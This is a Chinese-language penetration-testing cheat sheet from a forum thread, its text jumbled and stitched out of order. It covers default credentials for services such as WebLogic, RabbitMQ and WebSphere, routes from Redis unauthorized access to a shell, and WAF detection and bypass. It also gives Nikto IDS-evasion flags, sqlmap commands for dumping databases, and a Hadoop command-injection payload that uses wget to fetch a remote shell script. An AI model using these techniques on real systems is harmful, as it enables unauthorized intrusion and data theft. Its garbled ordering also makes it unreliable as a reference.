 h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 4 3 1 2 5 . h t m l 　 　 提 权 　 　 h t t p : / / w w w . 9 1 r i . o r g / 1 6 5 4 0 . h t m l 3 3 1 2 /   k a n g l e 　 　 g e t s h e l l
1 . 3 W A F 及 及 b y p a s s 探 测 W A F N m a p 探 测 W A F 有 两 种 脚 本 ， 一 种 是 h t t p - w a f - d e t e c t ， 一 种 是 h t t p - w a f - f i n g e r p r i n t 。 　 　 g e t s h e l l 　 　 h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 2 3 9 2 7 . h t m l 3 3 8 9 /   r d p 　 　 s h i f t   放 大 镜   输 入 法 绕 过   g u e s t 用 户 　 　 永 恒 之 蓝 ( E S T E E M A U D I T ) 　 　 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / s y s t e m / 1 3 2 1 7 1 . h t m l 　 　 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 6 3 2 8 　 　 m s 1 2 - 0 2 0 　 　 h t t p s : / / b l o g . c s d n . n e t / m e y o _ l e o / a r t i c l e / d e t a i l s / 7 7 9 5 0 5 5 2 4 4 4 0 /   r u n d e c k 　 　 h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 2 9 5 0 0 . h t m l 4 8 4 8 /   g l a s s f i s h 　 　 文 件 读 取 　 　 h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 4 2 2 7 7 . h t m l 　 　 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 5 9 4 8 　 　 G l a s s F i s h 2 /   a d m i n : a d m i n   G l a s s F i s h 3 , 4 /   如 果 管 理 员 不 设 置 帐 号 本 地 会 自 动 登 录 , 远 程 访 问 会 提 示 配 置 错 误 5 4 3 2 /   P o s t g r e S Q L 　 　 R C E 　 　 h t t p s : / / w w w . c n b l o g s . c o m / K e v i n G e o r g e / p / 8 5 2 1 4 9 6 . h t m l 　 　 h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 6 9 1 5 3 . h t m l 　 　 默 认 账 号 p o s t g r e s 　 　 参 考 　 　 h t t p : / / w w w . 9 1 r i . o r g / 1 3 0 7 0 . h t m l 　 　 h t t p : / / w w w . 9 1 r i . o r g / 6 5 0 7 . h t m l 5 6 7 2 , 1 5 6 7 2 , 4 3 6 9 , 2 5 6 7 2 /   R a b b i t M Q 　 　 （ g u e s t / g u e s t ） 5 9 0 0 /   V N C 　 　 h t t p s : / / w w w . s e e b u g . o r g / a p p d i r / R e a l V N C 5 9 8 4 /   C o u c h D B 　 　 h t t p : / / x x x : 5 9 8 4 / _ u t i l s / 6 0 8 2 /   v a r n i s h 　 　 C L I   未 授 权 　 　 h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 1 0 6 8 1 . h t m l 6 3 7 9 /   r e d i s 　 　 R e d i s 未 授 权 　 　 　 s s h   p u b l i c k e y 　 　 　 c r o n t a b 　 　 　 w e b s h e l l 　 　 　 反 序 列 化 　 　 　 开 机 自 启 文 件 夹 写 b a t 　 　 　 参 考 　 　 　 h t t p s : / / w w w . f r e e b u f . c o m / c o l u m n / 1 7 0 7 1 0 . h t m l 7 0 0 1 , 7 0 0 2 /   W e b L o g i c 　 　 默 认 弱 口 令 　 　 w e b l o g i c / w e b l o g i c   , w e b l o g i c / w e l c o m   , w e b l o g i c / w e l c o m 1 , w e b l o g i c 1 / w e b l o g i c 　 　 反 序 列 　 　 C V E - 2 0 1 8 - 2 6 2 8 　 　 h t t p s : / / w w w . f r e e b u f . c o m / a r t i c l e s / w e b / 1 6 9 7 7 0 . h t m l 　 　 h t t p s : / / w w w . s e e b u g . o r g / a p p d i r / W e b L o g i c 9 2 0 0 , 9 3 0 0 /   e l a s t i c s e a r c h 　 　 C V E - 2 0 1 5 - 1 4 2 7 　 　 h t t p : / / w w w . a n q u a n . u s / s t a t i c / d r o p s / p a p e r s - 5 1 4 2 . h t m l 　 　 C V E - 2 0 1 8 - 1 7 2 4 6 　 　 h t t p s : / / w w w . s e e b u g . o r g / v u l d b / s s v i d - 9 7 7 3 0 　 　 参 考 　 　 h t t p s : / / w w w . s e e b u g . o r g / s e a r c h / ? k e y w o r d s = e l a s t i c s e a r c h 9 0 0 0 /   f c g i 　 　 h t t p s : / / p a p e r . s e e b u g . o r g / 2 8 9 / 9 0 4 3 /   W e b S p h e r e 　 　 W e b s p h e r e 8 . 5 　 　 h t t p s : / / l o c a l h o s t : 9 0 4 3 / i b m / c o n s o l e / l o g o n . j s p 　 　 W e b s p h e r e 6 - 7 　 　 h t t p : / / l o c a l h o s t : 9 0 4 3 / i b m / c o n s o l e 　 　 后 台 未 授 权 ， 登 录 后 可 部 署 W A R 包 　 　 S O A P 服 务 有 反 序 列 化 　 　 弱 口 令 ： a d m i n   /   p a s s w o r d 1 1 2 1 1 /   m e m c a c h e 　 　 未 授 权 　 　 U D P 反 射 　 　 h t t p s : / / s h o c k e r l i . n e t / p o s t / m e m c a c h e d - u d p - r e f l e c t i o n - a t t a c k - b u g / 2 7 0 1 7 , 2 7 0 1 8 /   M o n g o d b 　 　 未 授 权 　 　 注 入 　 　 h t t p s : / / w w w . a n q u a n k e . c o m / p o s t / i d / 8 3 7 6 3 　 　 p h p M o A d m i n   R C E 　 　 h t t p s : / / w w w . a q n i u . c o m / t h r e a t - a l e r t / 6 9 7 8 . h t m l 5 0 0 0 0 /   S A P 　 　   S A P 命 令 执 行 　 　 h t t p s : / / w w w . s e c p u l s e . c o m / a r c h i v e s / 2 0 2 0 4 . h t m l 5 0 0 7 0 , 5 0 0 3 0 /   h a d o o p 　 　 未 授 权 　 　 h t t p s : / / w w w . f r e e b u f . c o m / v u l s / 1 7 3 6 3 8 . h t m l 　 　 命 令 执 行 　 　 h o s t : 5 0 0 6 0 / p s t a c k ? p i d = 1 2 3 | w g e t   h t t p : / / s o m e h o s t / s h e l l . s h 　 　 h t t p s : / / w w w . s e e b u g . o r g / s e a r c h / ? k e y w o r d s = h a d o o p 　 　 其 他 　 　 h t t p : / / w w w . 9 1 r i . o r g / 1 5 4 4 1 . h t m l ' ' ' n m a p   - p   p o r t   - - s c r i p t = h t t p - w a f - d e t e c t   i p w a f w 0 0 f   - a   e x a m p l e . c o m
b y p a s s :   手 工 注 入 ， 详 见 笔 记 1 . 4 目 录 、 后 台 和 敏 感 路 径 文 件 扫 描 目 录 、 后 台 和 敏 感 路 径 文 件 扫 描 御 剑 目 录 （ 土 司 专 版 ， 笔 记 里 有 ） 、 后 台 扫 描 （ 图 片 属 性 地 址 暴 露 ） ， 完 善 目 录 和 账 密 字 典 方 法 ： 基 础 字 典 包 合 并 去 重 2 . 人 工 浏 览 人 工 浏 览 逐 个 请 求 逐 个 请 求 b u r p 非 常 重 要 , 有 必 要 手 动 去 浏 览 每 个 页 面 ， 点 击 页 面 上 每 一 个 跳 转 ， 这 样 在 B u r p 的 s i t e m a p 里 面 就 可 以 出 现 这 些 请 求 和 响 应 。 图 片 后 台 地 址 图 片 后 面 的 信 息 跳 转 参 数 奇 怪 的 参 数 泄 露 邮 箱 等 社 工 信 息 业 务 逻 辑 架 构 3 . 自 动 化 自 动 化 自 动 化 渗 透 测 试 框 架 : ( 待 补 充 ) S n 1 p e r A r y 自 动 化 信 息 收 集 效 率 较 高 ， 从 g i t h u b 上 多 找 一 找 ， 也 可 以 自 己 写 0 x 0 2   漏 洞 挖 掘 漏 洞 挖 掘 1 . 漏 洞 扫 描 工 具 漏 洞 扫 描 工 具 注 意 : 登 录 类 网 站 扫 描 要 带 c o o k i e s 扫 才 能 扫 到 1 . 1 N i k t o   W e b 服 务 漏 洞 扫 描 器 服 务 漏 洞 扫 描 器 T i p s : 利 用 - F o r m a t 选 项 来 导 出 特 定 格 式 的 扫 描 结 果 ， 使 扫 描 结 果 更 容 易 阅 读 和 分 析 。 s q l m a p - u   “ h t t p : / / w w w . v x x x x . o r g / e x . p h p ? i d = 1 ”   - - i d e n t i f y - w a f 　 　 d y m e r g e . p y   - u 　 　 p y t h o n   p y d i c t o r . p y   - t o o l   u n i q b i n e r   / m y / d i c t / d i r p a t h   - - o u t p u t   u n i q . t x t 　 　 p y t h o n   p y d i c t o r . p y   - t o o l   u n i q i f e r   / t m p / d i c t s . t x t   - - o u t p u t   / t m p / u n i q . t x t n i k t o   - h o s t   h t t p : / / e x a m p l e . c o m   - o u t p u t   ~ / n i k t o . h t m l   - F o r m a t   h t m l
1 . 2 A W V S 漏 扫 漏 扫 这 个 没 什 么 好 说 的 ， 破 解 版 到 处 都 是 。 1 . 3 N E S S U S 实 时 更 新 插 件 的 漏 扫 ， 很 好 用 ， 就 是 激 活 流 程 麻 烦 。 h t t p s : / / w w w . w u y i n i . c n / 7 6 5 . h t m l 1 . 4 X r a y 自 动 化 的 漏 洞 挖 掘 自 动 化 的 漏 洞 挖 掘 b u r p + x r a y ： B u r p S u i t e   +   X r a y   被 动 扫 描 配 置   -   R i t t e   -   博 客 园 或 者 直 接 挂 浏 览 器 ， 点 到 哪 里 ， 扫 到 哪 里 x r a y + 各 种 漏 扫 联 动 1 . 5 F u z z F u z z 可 以 发 现 应 用 程 序 中 没 有 被 引 用 但 是 确 实 是 可 以 访 问 的 页 面 。 D i s c o v e r   C o n t e n t 是 B u r p 中 专 门 用 于 此 目 的 的 工 具 。 B u r p   I n t r u d e r 也 可 以 通 过 字 典 攻 击 来 实 施 强 制 浏 览 ( 通 常 是 在 u r l 参 数 和 文 件 路 径 部 分 进 行 修 改 ) ， 爆 破 、 注 入 等 。 F u z z D B 包 含 一 些 用 于 此 目 的 的 非 常 牛 逼 的 字 典 。 2 . 挖 掘 漏 洞 挖 掘 漏 洞 2 . 1 S Q L 注 入 ： 注 入 ： 初 步 测 试 ： 见 框 就 上 ， 加 '   "   )   ) ) %   a n d   1 = 1   a n d   1 = 2 　 a n d 2 - 1   o r   ， 抓 包 爆 破 常 用 S Q L 注 入 p a y l o a d 字 典 ， 上 b u r p   i n t r u d e r 纯 手 工 注 入 和 手 工 绕 过 纯 手 工 注 入 和 手 工 绕 过 w a f ， 详 见 笔 记 。 ， 详 见 笔 记 。 通 过 搜 索 引 擎 ， 批 量 查 找 注 入 点 ， 详 见 笔 记 。 然 后 用 傀 儡 注 入 点 批 量 搜 集 工 具 实 操 案 例 ：   s q l 注 入 思 路 （ 登 录 界 面 ） 和 网 络 常 用 端 口 _ u 0 1 1 9 7 5 3 6 3 的 专 栏 - C S D N 博 客 超 级 S Q L 注 入 工 具 （ g i t h u b ） N I K T O 使 用 方 法 ： 1 、 命 令 ： n i k t o   - u p d a t e   # 升 级 ， 更 新 插 件 ； 2 、 N i k t o - l i s t - p l u g i n s   # 查 看 插 件 ； 3 、 N i k t o - h o s t   h t t p : / / 1 . 1 . 1 . 1   # 扫 描 目 标 ： 域 名 方 式 ； 4 、 N i k t o - h o s t   h t t p : / / 1 . 1 . 1 . 1   - o u t p u t   # 扫 描 并 输 出 结 果 5 、 N i k t o - h o s t   1 . 1 . 1 . 1 - p o r t   8 0 # 扫 描 目 标 ： i p 地 址 加 端 口 号 6 、 N i k t o - h o s t   w w w . b a i d u . c o m   - p o r t   4 4 3 - s s l   # 扫 描 h t t p s 网 站 7 、 N i k t o - h o s t   文 件 名 . t x t   # 批 量 扫 描 目 标 8 、 n m a p   - p 8 0   1 9 2 . 1 6 8 . 1 . 0 / 2 4 - o G   -   |   n i k t o   - h o s t   -             # 利 用 n m a p 扫 描 开 放 8 0 端 口 的 I P 段 并 且 o G （ n m a p 结 果 输 出 并 整 理 ） 通 过 管 道 的 方 式 “ | ” 用 n i k t o 进 行 扫 描 9 、 n i k t o   - h o s t   1 9 2 . 1 6 8 . 0 . 1 - u s e p r o x y   h t t p : / / l o c a l h o s t : 8 0 7 0             # 利 用 代 理 进 行 扫 描 1 0 、 - v h o s t           # 当 一 个 网 站 存 在 多 个 端 口 时 可 以 使 用 - v h o s t 遍 历 所 有 网 站 进 行 扫 描 或 一 个 i p 对 应 多 个 网 站 1 1 、 N i k t o 交 互 形 参 数 配 置 文 件 ： 路 径 ： / e t c / n i k t o . c o n f U s e r A g e n t 中 文 名 为 用 户 代 理 ， 简 称   U A ， 它 是 一 个 特 殊 字 符 串 头 ， 使 得 服 务 器 能 够 识 别 客 户 使 用 的 操 作 系 统 及 版 本 ； 在 n i k t o 中 最 好 修 改 成 别 的 浏 览 器 u s e r   a g e n t ； 设 置 c o o k i e ： 在 配 置 文 件 中 找 到 c o o k i e 进 行 设 置 （ # S T A T I C - C O O K I E =   " c o o k i e 1 " = " c o o k i e   v a l u e " ; " c o o k i e 2 " = " c o o k i e   v a l " ） I D S 逃 避 技 术 ： 主 要 为 了 躲 避 I D S 、 I P S 检 测 告 警 - e v a s i o n   # 此 参 数 使 用 方 式 （ N i k t o   - h o s t   h t t p : / / 1 . 1 . 1 . 1   - e v a s i o n   1 2 3 4 ） 逃 避 方 式 共 8 种 ： 1 、 随 机 u r l 编 码 ， 2 、 自 选 路 径 ， 3 、 过 早 结 束 的 U R L 4 、 优 先 考 虑 长 随 机 字 符 串 5 、 参 数 欺 骗 6 、 使 用 T A B 作 为 命 令 的 分 隔 符 ， 7 、 使 用 变 化 的 U R L 8 、 使 用 W i n d o w s 路 径 分 隔 符
2 . 2 X S S ： ： x s s 漏 洞 原 理 分 析 与 挖 掘 方 法   -   知 乎 h t t p s : / / z h u a n l a n . z h i h u . c o m / p / 3 5 3 1 5 1 6 7 w e b 漏 洞   |   X S S （ 跨 站 攻 击 脚 本 ） 详 解 h t t p s : / / w w w . c n b l o g s . c o m / w u q u n / p / 1 2 4 8 4 8 1 6 . h t m l X S S 汇 总 h t t p : / / w w w . n x a d m i n . c o m / p e n e t r a t i o n / 8 1 0 . h t m l X S S 小 结   -   先 知 社 区 h t t p s : / / x z . a l i y u n . c o m / t / 2 9 3 6 2 0 2 0 跨 站 点 脚 本 [ x s s ] 速 查 表 | 雨 苁 h t t p s : / / w w w . y u q u e . c o m / x i a o g e g e - y x t t w / b t p q q g / l w z w e i X S S e r 自 动 化 工 具 h t t p s : / / w w w . f r e e b u f . c o m / s e c t o o l / 1 7 3 2 2 8 . h t m l X S S t r i k e   自 动 化 绕 过 W A F h t t p s : / / w w w . u e d b o x . c o m / p o s t / 5 6 3 1 6 / 客 服 对 话 系 统 上 X S S 打 c o o k i e 2 . 3 文 件 上 传 文 件 上 传 s q l m a p 一 把 梭 ： 注 意 ： 命 令 为 k a l i   l i n u x 中 运 行 的   （ w i n d o w s 中 用 p y t h o n   s q l m a p . p y 执 行 ） 注 入 六 连 ： 1 . s q l m a p - u     " h t t p : / / w w w . x x . c o m ? i d = x " 查 询 是 否 存 在 注 入 点 2 . - - d b s                   检 测 站 点 包 含 哪 些 数 据 库 3 . - - c u r r e n t - d b         获 取 当 前 的 数 据 库 名 4 . - - t a b l e s   - D   " d b _ n a m e " 获 取 指 定 数 据 库 中 的 表 名   - D 后 接 指 定 的 数 据 库 名 称 5 . - - c o l u m n s     - T   " t a b l e _ n a m e " - D   " d b _ n a m e " 获 取 数 据 库 表 中 的 字 段 6 . - - d u m p - C   " c o l u m n s _ n a m e " - T   " t a b l e _ n a m e " - D   " d b _ n a m e " 获 取 字 段 的 数 据 内 容 C O O K I E 注 入 ： s q l m a p   - u   " h t t p : / / w w w . x x . c o m / x x x . a s p " - - c o o k i e   " i d = X X X       c o o k i e " - - l e v e l   2 ＼ c o o k i e 注 入   后 接 c o o k i e 值 P O S T 注 入 ： （ 1 ） 目 标 地 址 h t t p : / /   w w w . x x x . c o m   / l o g i n . a s p （ 2 ） 打 开 b u r p 代 理 （ 3 ） 点 击 表 单 提 交 （ 4 ） b u r p 获 取 拦 截 信 息 （ p o s t ） （ 5 ） 右 键 保 存 文 件 （ . t x t ） 到 指 定 目 录 下 （ 6 ） 运 行 s q l m a p 并 执 行 如 下 命 令 ： 用 例 ： s q l m a p   - r   o k a y . t x t     - p     u s e r n a m e / /   - r 表 示 加 载 文 件 ( 及 步 骤 （ 5 ） 保 存 的 路 径 ) - p 指 定 参 数 （ 即 拦 截 的 p o s t 请 求 中 表 单 提 交 的 用 户 名 或 密 码 等 n a m e 参 数 ） （ 7 ） 自 动 获 取 表 单 ： - - f o r m s 自 动 获 取 表 单 例 如 ： s q l m a p   - u   w w w . x x . c o m / l o g i n . a s p   - - f o r m s （ 8 ） 指 定 参 数 搜 索 ： - - d a t a 例 如 : s q l m a p   - u   w w w . x x . c o m / l o g i n . a s p   - - d a t a   " u s e r n a m e = 1 " 常 用 指 令 ： 1 . - - p u r g e             【 重 新 扫 描 （ - - p u r g e   删 除 原 先 对 该 目 标 扫 描 的 记 录 ） 2 . - - t a b l e s             【 获 取 表 名 3 . - - d b s                   【 检 测 站 点 包 含 哪 些 数 据 库 4 . - - c u r r e n t - d b         【 获 取 当 前 的 数 据 库 名 5 . - - c u r r e n t - u s e r     【 检 测 当 前 用 户 6 . - - i s - d b a       【 判 断 站 点 的 当 前 用 户 是 否 为 数 据 库 管 理 员 7 . - - b a t c h             【 默 认 确 认 ， 不 询 问 你 是 否 输 入 8 . - - s e a r c h     【 后 面 跟 参 数   - D   - T   - C   搜 索 列 （ C ） ， 表 （ T ） 和 或 数 据 库 名 称 （ D ） 9 . - - t h r e a d s   1 0 【 线 程 ， s q l m a p 线 程 最 高 设 置 为 1 0 1 0 . - - l e v e l   3 【 s q l m a p 默 认 测 试 所 有 的 G E T 和 P O S T 参 数 ， 当 - - l e v e l 的 值 大 于 等 于 2 的 时 候 也 会 测 试 H T T P   C o o k i e 头 的 值 ， 当 大 于 等 于 3 的 时 候 也 会 测 试 U s e r - A g e n t 和 H T T P   R e f e r e r 头 的 值 。 最 高 为 5 1 1 . - - r i s k   3 【 执 行 测 试 的 风 险 （ 0 - 3 ， 默 认 为 1 ） r i s k 越 高 ， 越 慢 但 是 越 安 全 1 2 . - v       【 详 细 的 等 级 ( 0 - 6 ) 0 ： 只 显 示 P y t h o n 的 回 溯 ， 错 误 和 关 键 消 息 。 1 ： 显 示 信 息 和 警 告 消 息 。 2 ： 显 示 调 试 消 息 。 3 ： 有 效 载 荷 注 入 。 4 ： 显 示 H T T P 请 求 。 5 ： 显 示 H T T P 响 应 头 。 6 ： 显 示 H T T P 响 应 页 面 的 内 容 1 3 . - - p r i v i l e g e s     【 查 看 权 限 1 4 . - - t a m p e r   x x . p y , c c . p y       【 防 火 墙 绕 过 ， 后 接 t a m p e r 库 中 的 p y 文 件 1 5 . - - m e t h o d   " P O S T " - - d a t a   " p a g e = 1 & i d = 2 " 【 P O S T 方 式 提 交 数 据 1 6 . - - t h r e a d s   n u m b e r 　 　 【 采 用 多 线 程   后 接 线 程 数 1 7 . - - r e f e r e r     " " 【 使 用 r e f e r e r 欺 骗 1 8 . - - u s e r - a g e n t   " " 【 自 定 义 u s e r - a g e n t 1 9 . - - p r o x y   “ 目 标 地 址 ″       【 使 用 代 理 注 入 s q l m a p 常 用 路 径 ： 1 . 添 加 表 字 段 的 目 录 在 / u s r / s h a r e / s q l m a p / t x t / c o m m o n - t a b l e s . t x t 2 . 存 放 扫 描 记 录 的 目 录 在 / r o o t / . s q l m a p / o u t p u t 高 阶 玩 法 ： 自 己 写 t a m p e r . p y
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理